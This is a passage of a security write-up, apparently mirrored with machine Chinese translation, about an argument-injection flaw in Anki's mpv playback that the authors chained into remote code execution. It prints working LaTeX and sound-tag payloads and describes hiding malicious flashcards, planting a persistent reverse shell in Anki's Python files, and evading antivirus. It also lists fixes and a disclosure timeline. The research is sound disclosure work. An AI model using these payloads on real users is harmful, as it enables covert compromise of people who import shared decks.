# legacy global var
global mpvManager
try:
mpvManager = MpvManager(base_folder, media_folder)
except FileNotFoundError:
print("mpv not found, reverting to mplayer")
except aqt.mpv.MPVProcessError:
print(traceback.format_exc())
print("mpv too old or failed to open, reverting to mplayer")
if mpvManager is not None:
av_player.players.append(mpvManager)
if is_win:
mpvPlayer = SimpleMpvPlayer(taskman, base_folder, media_folder)
av_player.players.append(mpvPlayer)
else:
mplayer = SimpleMplayerSlaveModePlayer(taskman, media_folder)
av_player.players.append(mplayer)
Firstly, we initiate an MPV manager object used for managing the MPV application – passing in the base
and media
folder. According to the docs this is the %appdata%/Anki
folder and the profiles collection.media
folder, respectively.
Let’s examine what the class entails and how it communicates with the application.
class MpvManager(MPV, SoundOrVideoPlayer):
if not is_lin:
default_argv = MPVBase.default_argv + [
"--input-media-keys=no",
]
def __init__(self, base_path: str, media_folder: str) -> None:
self.media_folder = media_folder
mpvPath, self.popenEnv = _packagedCmd(["mpv"])
self.executable = mpvPath[0]
self._on_done: OnDoneCallback | None = None
self.default_argv += [f"--config-dir={base_path}"]
super().__init__(window_id=None, debug=False)
We set the executable path to wherever mpv is located. This is done with the help of the following function, _packageCmd()
which, in our case (On Windows), will return the path to the mpv binary located in the installation folder mentioned earlier – where sys.prefix
is located (The bundled Python interpreter).
我们将可执行文件路径设置为mpv所在的位置。这是在下面的函数的帮助下完成的,在我们的例子中(在Windows上),它将返回位于前面提到的安装文件夹中的mpv二进制文件的路径-其中 sys.prefix
位于(捆绑的Python解释器)。
def _packagedCmd(cmd: list[str]) -> tuple[Any, dict[str, str]]:
cmd = cmd[:]
env = os.environ.copy()
if "LD_LIBRARY_PATH" in env:
del env["LD_LIBRARY_PATH"]
if is_win:
packaged_path = Path(sys.prefix) / (cmd[0] + ".exe")
elif is_mac:
packaged_path = Path(sys.prefix) / ".." / "Resources" / cmd[0]
else:
packaged_path = Path(sys.prefix) / cmd[0]
if packaged_path.exists():
cmd[0] = str(packaged_path)
return cmd, env
As well as this, it also inherits the methods from its parent class, MPV
. This seems to be the main wrapper around the mpv
executable. We can find its implementation in the mpv.py
file located here:
除此之外,它还继承了它的父类 MPV
的方法。这似乎是围绕 mpv
可执行文件的主要包装。我们可以在这里的 mpv.py
文件中找到它的实现:
Anki的共享后端和Web组件,以及Qt前端- ankitects/anki
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
Thankfully, docstrings are provided to explain what each class and method does. When looking through large codebases, especially with large files, it can be overwhelming and confusing to know what parts to look at, which is why documentation is so important! This makes our code dissecting a lot easier.
值得庆幸的是,提供了文档字符串来解释每个类和方法的作用。当浏览大型代码库时,尤其是大文件时,要知道要查看哪些部分可能会让人不知所措,这就是为什么文档如此重要!这使得我们的代码剖析容易得多。
However, if we didn’t have documentation (looking at you, sound.py
), we have another trick that makes analysing easier – the Symbols
pane. A sidebar on GitHub that provides all the definitions in the file. From this, we can get a rough understanding of what’s happening. For our mpv.py
file:
然而,如果我们没有文档(看看你, sound.py
),我们有另一个技巧,使分析更容易- Symbols
窗格。GitHub上的侧边栏,提供文件中的所有定义。由此,我们可以大致了解正在发生的事情。对于我们的 mpv.py
文件:
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-41.png)
Here, we’re looking for keywords that stand out, which we can then Google to learn more about. I’ve highlighted some in the image above, and here’s my reasoning:
在这里,我们正在寻找突出的关键字,然后我们可以谷歌了解更多信息。我在上面的图片中突出显示了一些,这是我的理由:
defult_arv
– When running an application, the arguments is a list of options to give; this is useful to us as we can see what configurationmpv
is being run with and, thus, what potential vulnerabilities it may have.
defult_arv
-运行应用程序时,参数是要提供的选项列表;这对我们很有用,因为我们可以看到正在运行的配置mpv
,因此,它可能具有哪些潜在漏洞。_start_socket
– A socket is a way of communicating. There are a lot of mentions about a socket here, and we can assume from the context that it’s communicating with thempv
application – what’s being communicated? Can we interfere with this communication to hijack the program?
_start_socket
-套接字是一种通信方式。这里有很多关于套接字的内容,我们可以从上下文中假设它正在与mpv
应用程序通信-通信的是什么?我们能干扰这个通讯来劫持程序吗?command
– We’re looking for vulnerabilities; a command is an action to execute, so this stands out to me as something to look into – are we able to pass in our own malicious commands?
command
-我们正在寻找漏洞;命令是要执行的操作,所以这对我来说是一个值得关注的问题-我们是否能够传递自己的恶意命令?
Let’s conduct a quick Google search for our two keywords to gain more information.
让我们进行一个快速的谷歌搜索我们的两个关键字,以获得更多的信息。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-42.png)
Voila. Reading this page, a few things immediately stand out:
瞧.阅读这一页,有几件事立即脱颖而出:
mpv can be controlled by external programs using the JSON-based IPC protocol. Clients can connect to this socket and send commands to the player or receive events from it.
mpv可以使用基于JSON的IPC协议由外部程序控制。客户端可以连接到这个套接字,并向播放器发送命令或从播放器接收事件。
This confirms our suspicions about a socket being used to communicate with the mpv process and the command
function being used to send the command!
这证实了我们的怀疑,一个套接字被用来与mpv进程通信,而 command
函数被用来发送命令!
For example, the
run
command is exposed, which can run arbitrary system commands. The use-case is controlling the player locally. This is not different from the MPlayer slave protocol.
例如,暴露了run
命令,它可以运行任意系统命令。用例是在本地控制播放器。这与MPlayer从协议没有什么不同。
Uh oh… let’s hope we can’t send arbitrary commands! Here’s the function definition: It takes in an arbitrary number of arguments and converts them to a list to send.
呃哦…希望我们不能发送任意命令!以下是函数定义:它接受任意数量的参数并将它们转换为要发送的列表。
def command(self, *args, timeout=1):
"""Execute a single command on the mpv process and return the result."""
return self._send_request({"command": list(args)}, timeout=timeout)
This is something to work with. If we scroll further up the file, we can also see the process of how mpv
is spawned with the ipc
server argument.
这是一个可以利用的东西。如果我们进一步向上滚动文件,我们还可以看到如何使用 ipc
server参数生成 mpv
的过程。
def _prepare_process(self):
"""Prepare the argument list for the mpv process."""
self.argv = [self.executable]
self.argv += self.default_argv
self.argv += [f"--input-ipc-server={self._sock_filename}"]
if self.window_id is not None:
self.argv += [f"--wid={str(self.window_id)}"]
Great, let’s not dig any deeper into this specific file. We understand what it’s accomplishing and found something potentially vulnerable; let’s focus on that, and if it doesn’t work, we can always come back. Otherwise, we risk getting overwhelmed — keep it simple!
很好,我们不要再深入调查这个文件了。我们了解它的成就,并发现了一些潜在的脆弱性;让我们专注于此,如果它不起作用,我们可以随时回来。否则,我们可能会不知所措–保持简单!
Returning to sound.py
let’s have a look at the methods of MpvManager
回到 sound.py
,让我们看看 MpvManager
的方法
def play(self, tag: AVTag, on_done: OnDoneCallback) -> None:
assert isinstance(tag, SoundOrVideoTag)
self._on_done = on_done
filename = hooks.media_file_filter(tag.filename)
path = os.path.join(self.media_folder, filename)
self.command("loadfile", path, "replace")
gui_hooks.av_player_did_begin_playing(self, tag)
def stop(self) -> None:
self.command("stop")
def toggle_pause(self) -> None:
self.command("cycle", "pause")
def seek_relative(self, secs: int) -> None:
self.command("seek", secs, "relative")
Our play method first asserts that the tag is a SoundOrVideoTag
– if we have a look at what this entails, we can see that it’s just extracting the part after [sound:
and assigning it to the filename
attribute; it does this using the regex to replace the whole tag. For example, [sound:test.mp4]
becomes test.mp4
.
我们的play方法首先断言标签是 SoundOrVideoTag
-如果我们看看这意味着什么,我们可以看到它只是提取 [sound:
之后的部分并将其分配给 filename
属性;它使用正则表达式来替换整个标签。例如, [sound:test.mp4]
变为 test.mp4
。
@dataclass
class SoundOrVideoTag:
"""Contains the filename inside a [sound:...] tag.
Video files also use [sound:...].
"""
filename: str
# note this does not include image tags, which are handled with HTML.
AVTag = Union[SoundOrVideoTag, TTSTag]
AV_REF_RE = re.compile(r"\[anki:(play:(.):(\d+))\]")
def strip_av_refs(text: str) -> str:
return AV_REF_RE.sub("", text)
This means that the filename
part could be anything…it doesn’t have to reference a file!
这意味着 filename
部分可以是任何东西…它不需要引用文件!
Returning to the methods, things aren’t looking too good. The command opcode (instructions) is hard-coded to be the first part, and the IPC implementation means you can only send one command at a time in a message. For example, with this:
回到方法,事情看起来不太好。命令操作码(指令)被硬编码为第一部分,IPC实现意味着您一次只能在消息中发送一个命令。例如,使用此:
self.command("loadfile", path, "replace")
Although we have complete control over the path
variable, we aren’t able to get the script
command we need in there for the arbitrary code execution because MPV is expecting everything after loadfile
to be the operand (data).
虽然我们完全控制了 path
变量,但我们无法获得执行任意代码所需的 script
命令,因为MPV期望 loadfile
之后的所有内容都是操作数(数据)。
Okay, let’s step back from this class and head further down the setup_audio
function to see what else is available. Here’s the next part after we’ve initialised MpvManager
好的,让我们从这个类后退一步,进一步深入 setup_audio
函数,看看还有什么可用的。这是我们初始化 MpvManager
后的下一部分
if mpvManager is not None:
av_player.players.append(mpvManager)
if is_win:
mpvPlayer = SimpleMpvPlayer(taskman, base_folder, media_folder)
av_player.players.append(mpvPlayer)
else:
mplayer = SimpleMplayerSlaveModePlayer(taskman, media_folder)
av_player.players.append(mplayer)
We first check if the manager class was successfully initiated; if it isn’t, then we can assume mpv isn’t installed and use mplayer
(another software for playing media). Next, we check if the operating system is Windows, and if so, add a different MpvPlayer
class to the list of available players.
But why? This seems odd because we already have a class defined for playing media; what makes Windows different?
Thanks to the git commit history, we can find out when this part was added and why! When searching for the term windows
, we come across this change:
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
TL;DR, it seems that the IPC socket control on Windows doesn’t work well. Maybe this is due to named pipes being a pain? Let’s look at the SimpleMpvPlayer
class to see how else they’ve implemented playing media.
class SimpleMpvPlayer(SimpleProcessPlayer, VideoPlayer):
default_rank = 1
args, env = _packagedCmd(
[
"mpv",
"--no-terminal",
"--force-window=no",
"--ontop",
"--audio-display=no",
"--keep-open=no",
"--input-media-keys=no",
"--autoload-files=no",
]
)
We set the rank for this player to be 1
. This means it’s the “priority” player to use, which makes sense. We don’t want to use the other one if it’s on Linux.
Next we add the arguments to give, nothing really interesting there. We’re interested in how it plays the files, so let’s find that method. It should be defined in the class it inherits from (SimpleProcessPlayer
).
class SimpleProcessPlayer(Player): # pylint: disable=abstract-method
"A player that invokes a new process for each tag to play."
VideoPlayer
class Is used to assert what video player implementation to use; it’s irrelevant in our code analysis, as we already know what player we’re using. (The Windows one).Interestingly, according to the docstring, a new process for each file is created instead of having one MVP process (which you then send commands to over IPC).
Moving to the _play
function:
def _play(self, tag: AVTag) -> None:
assert isinstance(tag, SoundOrVideoTag)
self._process = subprocess.Popen(
self.args + [tag.filename],
env=self.env,
cwd=self._media_folder,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
self._wait_for_termination(tag)
Recalling from earlier, we know the assertion statement will be valid for any string after the [sound:
tag – we can make this anything we want; it doesn’t have to be a filename.
Now we’ve reached the subprocess
call to the mpv application.
At first glance, this call looks to be “safe” as it doesn’t invoke a shell, instead passing the arguments given directly into the program executed (mpv
). This means we’re not able to use something like && bad
.
Almost. Note how the tag is being passed in as an argument to mpv
– we control the contents of that argument. Okay, but how can we do anything with that….mpv is just a video player?! It wouldn’t have any scripting capabilities!!!
Oh..
mpv can load Lua scripts.
mpv可以加载Lua脚本。
Scripts can be passed to the--script
option
可将命令传递给--script
选项
It can’t be that easy….right?
不会那么容易的…对吧?
Ah! We can’t pass in the script content directly through the argument; instead, we have to pass a file path. If only we had a way to generate an arbitrary file…
啊!我的天啊!我们不能直接通过参数传入脚本内容;相反,我们必须传递一个文件路径。如果我们有一种方法来生成一个任意的文件就好了。
Oh, we do. Remember our LaTeX shenanigans? Although our write exploit seemed useless at the time (except for filling up the victim’s disk space!), it’s perfect for this situation! Let’s try to create a simple script to open calc.exe
哦,我们有。还记得我们的LaTeX恶作剧吗?虽然我们的写攻击在当时看起来毫无用处(除了填满受害者的磁盘空间!),它非常适合这种情况!让我们尝试创建一个简单的脚本来打开 calc.exe
To achieve this, we’ll edit our LaTeX header to include a write command with the following: (Keep in mind it writes our lua script to the temp directory!)
为了实现这一点,我们将编辑我们的LaTeX头,以包括一个写命令,如下所示:(请记住,它会将我们的lua脚本写入临时目录!)
\documentclass[12pt]{article}
\special{papersize=3in,5in}
\usepackage[utf8]{inputenc}
\usepackage{amssymb,amsmath}
\pagestyle{empty}
\setlength{\parindent}{0in}
\begin{document}
\newwri^^74e\outfile
\openou^^74\outfile=run.lua
\wri^^74e\outfile{os.execute('calc')}
\closeout\outfile
Then, on our card contents, we can add a LaTeX tag so it executes and a sound tag to pass in the argument to mpv — we’ll use a relative path that starts at the current working directory (CWD), aka the media folder.
然后,在我们的卡片内容上,我们可以添加一个LaTeX标签,以便它执行,并添加一个sound标签来将参数传递给mpv -我们将使用从当前工作目录(CWD)开始的相对路径,也就是媒体文件夹。
[latex]1[/latex][sound:--script=../../../../Local/Temp/anki_temp/run.lua]
<username>/tmp
instead of /tmp
— this means if the attacker wanted to use an absolute path that starts at the root directory, they’d have to know the username! By using a relative path, (assuming the media folder hasn’t changed locations), we’re can access the script without the username prerequisite.为什么是相对路径?与Linux不同,tmp文件夹位于
<username>/tmp
而不是 /tmp
-这意味着如果攻击者想要使用从根目录开始的绝对路径,他们必须知道用户名!通过使用相对路径(假设媒体文件夹没有更改位置),我们可以访问脚本,而无需用户名先决条件。Now, let’s review the card and see if the calculator pops up…
现在,让我们回顾一下卡片,看看计算器是否弹出…
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/whoo.gif)
Nothing. It’s time for some debugging! Firstly, let’s check if the Lua script has been created — there are no visible errors on our card, which suggests the LaTeX was successfully executed, so we should expect to see the file.
没什么是时候进行一些调试了!首先,让我们检查Lua脚本是否已经创建-在我们的卡上没有可见的错误,这表明LaTeX已经成功执行,所以我们应该看到文件。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-14.png)
Perfect. So we know it has something to do with how mpv is being executed; maybe the argument is not being interpreted correctly? Let’s manually build Anki with some extra print
statements to see the full command being passed into Popen()
完美了所以我们知道它与mpv的执行方式有关;也许参数没有被正确解释?让我们用一些额外的 print
语句手动构建Anki,以查看传递到 Popen()
的完整命令
def _play(self, tag: AVTag) -> None:
assert isinstance(tag, SoundOrVideoTag)
print(self.args)
print(tag.filename)
print(self._media_folder)
self._process = subprocess.Popen(
self.args + ["--", tag.filename],
env=self.env,
cwd=self._media_folder,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
self._wait_for_termination(tag)
Now, when we run this, we can see in our console the results:
['mpv', '--no-terminal', '--force-window=no', '--ontop', '--audio-display=no', '--keep-open=no', '--input-media-keys=no', '--autoload-files=no', '--config-dir=C:\\Users\\User\\AppData\\Roaming\\Anki2', '--script=../../../../Local/Temp/anki_temp/run.lua']
C:\Users\User\AppData\Roaming\Anki2\User 1\collection.media
I’m not quite sure what’s going on here, but this seems to be valid according to the MPV docs. Maybe the mpv version Anki uses is slightly different? Let’s find the executable it uses and manually call it with the arguments in a shell.
By default, it’s located in the installation folder – AppData\Local\Programs\Anki
.
Let’s copy the path to the executable and open a command shell in the media directory. Then, paste the path and arguments in. This gives us a base to start with as we try to replicate the Anki environment. Here we go:
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/whoo-1.gif)
Huh, it works when we manually execute the command. Just not with popen()
… Why?! We’ll have to create a small Python file to replicate the popen call.
import subprocess
args = [r"C:\Users\User\AppData\Local\Programs\Anki\mpv.exe", '--no-terminal', '--force-window=no', '--ontop', '--audio-display=no', '--keep-open=no', '--input-media-keys=no', '--autoload-files=no', r'--config-dir=C:\Users\User\AppData\Roaming\Anki2', r'--script=../../../../Local/Temp/anki_temp/run.lua']
subprocess.Popen(args)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/yes.gif)
That works! What’s going on?? Hmmm…I guess let’s add the redirection for the standard output and error streams (STDOUT
, STDERR
) to DEVNULL
as it’s done in the Anki script.
这就行了怎么回事??嗯……我想让我们将标准输出和错误流的重定向( STDOUT
, STDERR
)添加到 DEVNULL
,就像在Anki脚本中一样。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/yes-1.gif)
Here’s where the issue lies….for some reason, if we choose to redirect the stdout
or stderr
to somewhere else (in our case DEVNULL
), mpv will not run the script. Time to look at the documentation:
问题就出在这里.时间来看看文档:
子流程-子流程管理
subprocess.py Subprocess模块允许你产生新的进程,连接到它们的输入/输出/错误管道,并获得它们的返回代码。该模块旨在取代几个.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://docs.python.org/3/_static/og-image.png)
stdin, stdout and stderr specify the executed program’s standard input, standard output and standard error file handles, respectively. Valid values are
None
,PIPE
,DEVNULL
, an existing file descriptor (a positive integer), and an existing file object with a valid file descriptor. With the default settings ofNone
, no redirection will occur.
stdin、stdout和stderr分别指定执行程序的标准输入、标准输出和标准错误文件句柄。有效值为None
、PIPE
、DEVNULL
、现有文件描述符(正整数)和具有有效文件描述符的现有文件对象。使用默认设置None
,不会发生重定向。
So if no reduction occurs (default value), the script executes, but if we redirect the output, it breaks. Now, I am bewildered as to why this is the case. So I dug into it and located this potentially related issue, which helped me come up with a (potential) explanation.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
As for
1>/dev/null
disabling the terminal, I think that’s caused by mpv checking for presence of STDOUT and using that to decide whether it’s running in GUI or CLI mode.
With the above information, here’s my hypothesis
- By default, mpv runs in GUI mode. This makes sense, as when you want to use it to watch a video, you’d expect a GUI to pop up when the program is executed.
- It checks by noting the presence of a STDOUT stream. If one isn’t there, it defaults to a GUI mode. Otherwise, it defaults to a CLI mode.
- When running in GUI mode, the window will pop up, and it’ll idle in this state until it gets given a file to play. For the window to pop up and play media, all the core components and files must be initialised, which includes the Lua scripts
- However, running in CLI mode requires a lot less overhead, and it’s usually used in a “programmatic” way. Now note how we haven’t passed in any file for it to play, just configuration options — when a CLI program is run like this, it’ll almost always default to a help menu without loading anything else.
- This means that the script file won’t be loaded!
To test this hypothesis, I simplified the full command to load our Lua code, so now the Python file looks like this
import subprocess
args = [r"C:\Users\User\AppData\Local\Programs\Anki\mpv.exe", r'--script=../../../../Local/Temp/anki_temp/run.lua']
subprocess.Popen(args)
When I run this, a graphical window pops up, immediately followed by our calculator! (As we saw before).
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/yes-2.gif)
This makes sense, as it’s running in “GUI” mode. But now, let’s direct the standard output to a file stream (the documentation for the subprocess library I linked above states that we can pass in a file object to do this).
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/yes-3.gif)
Note how the mpv
help menu shows up in our file stream instead? MPV recognised that a stdout
stream existed and therefore operated in CLI mode. We haven’t passed in any file to play, so it immediately exited without loading anything.
Now that we’ve identified the issue, we need to come up with a solution. Remember, the objective is to get the program to load the files needed for playing media, including the files of our code, instead of immediately exiting.
If we replace the –-script
argument with a file to play, then the files will be loaded but not our script. If we have an --script
argument but no file, the program will immediately exit.
We aren’t able to do both because we are restricted to loading only one argument.
self.args + [tag.filename]
Let’s have a look through the mpv arguments list, found on the GitHub repo
The first two headings, Track Selection
& Playback control
are not of any use to us. We are looking for something related to the programs’ specific behaviour instead of playback. Scrolling down, we come across the following:
--idle=<no|yes|once>
Makes mpv wait idly instead of quitting when there is no file to play. Mostly useful in input mode, where mpv can be controlled through input commands. (Default:no
)once
will only idle at start and let the player close once the first playlist has finished playing back.
--include=<configuration-file>
Specify configuration file to be parsed after the default ones.
Idle is precisely what we need to prevent the program from immediately exiting! But again, the problem is being able to pass in more than one argument!
This is where --include
comes in. Our saving grace is that mpv supports configuration files! Even better, the formatting is super simple. By using a configuration file, we are no longer constrained to only one argument.
Let’s modify our initial LaTeX content to include writing a configuration file with the idle and script options.
\documentclass[12pt]{article}
\special{papersize=3in,5in}
\usepackage[utf8]{inputenc}
\usepackage{amssymb,amsmath}
\pagestyle{empty}
\setlength{\parindent}{0in}
\begin{document}
\newwri^^74e\outfile
\openou^^74\outfile=extra.conf
\wri^^74e\outfile{idle=yes}
\wri^^74e\outfile{script=../../../../Local/Temp/anki_temp/run.lua}
\closeout\outfile
\newwri^^74e\outfile
\openou^^74\outfile=run.lua
\wri^^74e\outfile{os.execute('calc')}
\closeout\outfile
Then, change our sound tag to [sound:--include=extra.conf]
and fingers crossed…
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/yes-5.gif)
RCE achieved!
Now, to tie up a fairly important loose end – what if the victim doesn’t have a TeX engine installed and thus can’t write the script and configuration files?
Well, remember how we have the option to export and bundle media into a flashcard and that we can use any file?
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/image-18.png)
We can pre-generate our required files, bundle them into the card and when the victim imports the .apkg
It’ll be copied into the media folder! You just need to edit the payload slightly to account for this so Anki knows the files are required.
[sound:extra.conf][sound:run.lua][sound:--include=extra.conf]
Here’s the final result:
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/06/yes-7.gif)
A slight caveat is that the Lua environment is extremely bare; there aren’t many modules installed (such as a networking one..), and you’ll have to get creative with creating a reverse shell – which I’ll cover in the next section. Either way, it’s RCE.
一个小小的警告是Lua环境是非常裸露的;没有安装很多模块(比如网络模块),您将不得不创造性地创建一个反向shell -我将在下一节中介绍。无论如何,这是RCE。
Extras 额外
Well, there you have it! I hope you enjoyed reading this as much as we did discovering these exploits and that you’ve learned something new!
好吧,你有它!我希望你喜欢阅读这篇文章,就像我们发现这些漏洞一样,你学到了一些新的东西!
I’ve tried my best to articulate our entire thought process as clearly as possible so you could imagine a pentester’s mind as we approached this colossal codebase, but if you find anything complicated to understand, please feel free to message me or Autumn!
我已经尽我最大的努力,尽可能清楚地表达我们的整个思维过程,所以你可以想象一个pentester的头脑,因为我们接近这个巨大的代码库,但如果你发现任何复杂的理解,请随时给我或秋天的消息!
Finally, here are some extra parts I thought would be worth mentioning. These include proof of concepts for you to play around with and a timeline of how we found these exploits.
最后,这里有一些额外的部分,我认为值得一提。这些包括概念证明供您使用,以及我们如何发现这些漏洞的时间轴。
Stealth, Persistence & AV
隐形、持久和防病毒
We’ve found quite a few vulnerabilities, including, of course, RCE. However, our payloads aren’t the most discrete. Anybody who imports the malicious card will immediately be able to tell that something’s up.
我们发现了不少漏洞,当然包括RCE。然而,我们的有效载荷不是最离散的。任何人谁进口恶意卡将立即能够告诉,有些事情了。
Firstly, if they open up the deck browse – you can see the sort field with the --include
content for RCE – that’s something suspicious.
首先,如果他们打开甲板浏览-你可以看到排序字段与 --include
内容的RCE -这是可疑的。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-43.png)
Secondly, upon reviewing the card, you also see the contents. Not only that, but due to how Lua’s os.system()
works, when the script gets executed, a command prompt window will always flash up.
Thirdly, our malicious script will only run once — when the card is reviewed. Then, it’s on the attacker to quickly set up a permanent reverse or bind shell.
We will create a hidden, persistent shell that bypasses AV to show how dangerous this can be and why it’s so important to be careful when using shared decks!
.apkg
to transfer the script files.Let’s start by adding “normal” content to our flashcard, then hiding our payload many lines down. This way, when viewing the card browser, the Sort Field
preview will just show the first line.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-45.png)
Our next issue is seeing the whole content during the review – we only want to show the first part (Capital of London
). This can easily be hidden with some JavaScript on the card template, removing the content and replacing it with a hard-coded text value. Same for the back template too.
我们的下一个问题是在审查期间查看整个内容-我们只想显示第一部分( Capital of London
)。这可以很容易地隐藏在卡片模板上的一些JavaScript中,删除内容并将其替换为硬编码的文本值。后面的模板也一样。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-46.png)
Finally, we want to create a persistent reverse shell without having a command window pop up. This is where we can really get creative! I absolutely love this part.
最后,我们希望创建一个持久的反向shell,而不需要弹出命令窗口。这是我们真正可以发挥创造力的地方!我非常喜欢这部分。
So our current problem is that we can’t use os.execute()
without the user being alerted, right? Furthermore, we only have a very basic Lua environment to work with – no networking libraries are available…
所以我们目前的问题是,我们不能在没有用户被提醒的情况下使用 os.execute()
,对吗?此外,我们只有一个非常基本的Lua环境-没有可用的网络库。
Well, we know that Anki’s written in Python, and it bundles the Python interpreter with it to run the modules needed (Like Qt & Protobuf). If we open up the programs folder where Anki installs to, we can clearly see a bunch of Python files; here are the protobuf
ones – needed for data transfer.
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-48.png)
Instead of using our limited Lua environment to run our shell, we can abuse the fact that these Python files are here…that are ran every time Anki is opened, and write our own reverse shell into them! This is easily done using Lua, and it means that our shell is going to be persistent and hidden…
We’ll use the RevShells site to generate a Python payload, and then create a LaTeX document to create the Lua script that embeds this payload into the __init__.py
file in the protobuf
folder. (LaTeX -> Lua (mpv) -> Python). I’ve based64’d the data to avoid having to escape quotation marks and help avoid AV.
我们将使用RevShells站点来生成Python负载,然后创建一个LaTeX文档来创建Lua脚本,该脚本将此负载嵌入到 protobuf
文件夹中的 __init__.py
文件中。(LaTeX -> Lua(mpv)-> Python)。我对数据进行了base64处理,以避免转义引号并帮助避免AV。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-49.png)
Remember, no extra media files are needed for this to work – it can all be shared in a simple .txt
file…Here’s the final result, running on my desktop. Unless you manually inspect all of the card’s content, you will be none the wiser.
请记住,这不需要额外的媒体文件-它可以在一个简单的 .txt
文件中共享。这是最终的结果,在我的桌面上运行。除非你手动检查卡的所有内容,否则你不会知道。
Oh, and for good measures – let’s see what VirusTotal Says: (uploaded as an .apkg
)
哦,对于好的措施-让我们看看病毒总说:(上传为 .apkg
)
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-44.png)
Undetected! 未被发现!
Mitigations 缓解措施
So, what did Anki do to fix these issues? It’s pretty simple!
那么,Anki是如何解决这些问题的呢?很简单!
- For the JavaScript shenanigans, Anki now returns content as
text/plain
meaning it won’t be interpreted as HTML. This is what OWASP recommends.
对于JavaScript的恶作剧,Anki现在返回内容为text/plain
,这意味着它不会被解释为HTML。这就是OWASP的建议。 - For the LaTeX issues, the blocklist has been scrapped, and the user is now prompted before running TeX. Hopefully, the users are paying attention!
对于LaTeX问题,阻止列表已被废弃,现在用户在运行TeX之前会得到提示。希望用户注意! - For our RCE, a delimiter
–-
has been added before ourtag.filename
argument. This follows the POSIX requirement that states that any following characters should be treated as operands, even if they start with-
. This is a simple but effective fix.
对于我们的RCE,在我们的tag.filename
参数之前添加了一个–-
。这符合POSIX的要求,即任何后续字符都应被视为操作数,即使它们以-
开头。这是一个简单但有效的解决方案。
AnkiWeb Issues AnkiWeb问题
AnkiWeb is a service offered by Anki to host your flashcards in the cloud ☁ and thus sync progress on different devices. We haven’t done any scanning or research on this, so we’re unsure about the security — it’s also closed source.
AnkiWeb是Anki提供的一项服务,可以将您的抽认卡托管在云端,从而在不同的设备上同步进度。我们还没有做任何扫描或研究,所以我们不确定的安全性-它也是封闭的源代码。
With that being said, the authentication token to your AnkiWeb account is stored in plaintext in the Anki database (sqlite
), so arbitary file read will lead to an acount takeover – your password shouldn’t be able to be recovered from this token, but the token doesn’t seem to have an expiry date.
话虽如此,您的AnkiWeb帐户的身份验证令牌以明文形式存储在Anki数据库( sqlite
)中,因此任意文件读取将导致帐户接管-您的密码应该无法从该令牌中恢复,但令牌似乎没有到期日期。
Timeline
- 19/03 – Look into Anki. Initial thoughts are wondering if we can somehow execute Python code through the use of JS – where are the links between the code
- Anki Addons are pure Python but users are heavily warned about installing random ones, we could phish using JS to trick the user but boring, no fun
- QT WebView is used for running the JS/HTML/CSS, points to a local flask server that also provides an API
QWebChannel
is setup for apycmd
function which is the bridge between JS <-> Python. However, hardcoded functions and cannot run any arbitrary code using it – Provides functions likeease
andans
- Initial ideas are LaTeX and TTS – look at the blacklisted commands. TTS isn’t exploitable.
- Look into LFI for the flask webserver, can we include any files we want?
- 20/03 – Bypassing LaTeX, Using
catcode
but is blocked. Look into packages built-into LaTeX distributions. Found a way to bypass using Unicode characters
20/03 -使用catcode
验证LaTeX,但被阻止。查看LaTeX发行版中内置的包。找到了一种绕过使用Unicode字符的方法- Looking into how media files play and importing a collection, as well as any subprocess being called
查看媒体文件如何播放和导入集合,以及调用的任何子进程 - Tried to write to a file, but due to TeX distribution strict rules we couldn’t. Only to the current directory (
%tmp%
)
尝试写入文件,但由于TeX分发的严格规则,我们不能。仅指向当前目录(%tmp%
)
- Looking into how media files play and importing a collection, as well as any subprocess being called
- 22/03 – PoC for arbitrary file read using LaTeX and JS to send the image. Utilising
verbatiminput
which is an in-built package that allows us to input any characters without interpreting it as a LaTeX command! No bypass needed.
22/03 -用LaTeX和JS读取任意文件并发送图像。利用verbatiminput
,这是一个内置的包,允许我们输入任何字符,而无需将其解释为LaTeX命令!不需要旁路。 - 23/03 – Looking at the API, turns out we can then self-replicate the JS into other cards via the scheduling option – so ran every time a card is reviewed
23/03 -查看API,结果发现我们可以通过调度选项将JS自复制到其他卡中-因此每次查看卡时都会运行- Change the users review so the card contents are changed slightly to mess them up. Not possible to directly edit the cards contents, however can use the JS to overwrite the review render. Or change the ease factor!
更改用户评论,以便对卡内容进行轻微更改以将其弄乱。不可能直接编辑卡片内容,但是可以使用JS覆盖审查呈现。或者改变轻松的因素!
- Change the users review so the card contents are changed slightly to mess them up. Not possible to directly edit the cards contents, however can use the JS to overwrite the review render. Or change the ease factor!
